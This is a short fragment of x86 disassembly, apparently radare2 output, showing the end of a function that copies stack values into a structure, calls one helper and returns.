push dword [ebp - 0x10]
mov dword [edi], eax
mov eax, dword [ebp - 0x28]
mov dword [edi + 8], eax
mov eax, dword [ebp - 0xc]
call fcn.00402c67
mov dword [edi + 4], eax
mov eax, dword [ebp - 0xc]
pop ecx
mov dword [edi + 0xc], eax
pop ecx
mov eax, esi
pop esi
leave
ret